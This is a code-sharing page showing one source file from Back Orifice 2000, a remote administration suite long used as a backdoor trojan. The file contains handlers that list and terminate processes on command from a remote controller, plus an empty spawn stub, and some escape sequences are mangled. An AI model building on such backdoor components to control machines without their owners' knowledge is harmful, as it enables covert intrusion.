cmd_process.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:3k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<auth.h>
  17. #include<iohandler.h>
  18. #include<encryption.h>
  19. #include<commandloop.h>
  20. #include<bocomreg.h>
  21. #include<cmdcmd_process.h>
  22. #include<pviewer.h>
  23. #include<strhandle.h>
  24. int CmdProc_ProcessList(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  25. {
  26. char svBuffer[1024];
  27. PROCESSINFO *pinfo,*cur;
  28. if(svArg2) if(svArg2[0]=='') svArg2=NULL;
  29. pinfo=CreateProcListSnapshot(svArg2);
  30. for(cur=pinfo;cur;cur=cur->next) {
  31. THREADINFO *pti;
  32. int nThreads;
  33. nThreads=0;
  34. for(pti=cur->pThread;pti;pti=pti->next) nThreads++;
  35. wsprintf(svBuffer,"(0x%X) %s  %d threadsn",cur->dwProcID,cur->svApp,nThreads);
  36. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  37. }
  38. IssueAuthCommandReply(cas_from,comid,0,"End process listn");
  39. DestroyProcListSnapshot(pinfo);
  40. return 0;
  41. }
  42. int CmdProc_ProcessKill(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  43. {
  44. // Get pid string (hex)
  45. char *svPid;
  46. CharUpper(svArg2);
  47. svPid=BreakString(svArg2,"0X");
  48. if(svPid==NULL) svPid=svArg2;
  49. // Convert to dword
  50. DWORD dwPid;
  51. dwPid=0;
  52. while(*svPid) {
  53. char c;
  54. c=*svPid;
  55. if(c>='A' && c<='F') c=c-'A'+0xA;
  56. else if(c>='0' && c<='9') c-='0';
  57. else c=0;
  58. dwPid<<=4;
  59. dwPid|=c;
  60. svPid++;
  61. }
  62. // Open process handle
  63. HANDLE hProc;
  64. hProc=OpenProcess(PROCESS_TERMINATE,FALSE,dwPid);
  65. if(hProc==NULL) {
  66. IssueAuthCommandReply(cas_from,comid,0,"Could not access process.n");
  67. return -1;
  68. }
  69. if(TerminateProcess(hProc,0)==0) {
  70. IssueAuthCommandReply(cas_from,comid,0,"Could not terminate process.n");
  71. return -1;
  72. }
  73. IssueAuthCommandReply(cas_from,comid,0,"Process terminated.n");
  74. return 0;
  75. }
  76. int CmdProc_ProcessSpawn(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  77. {
  78. return 0;
  79. }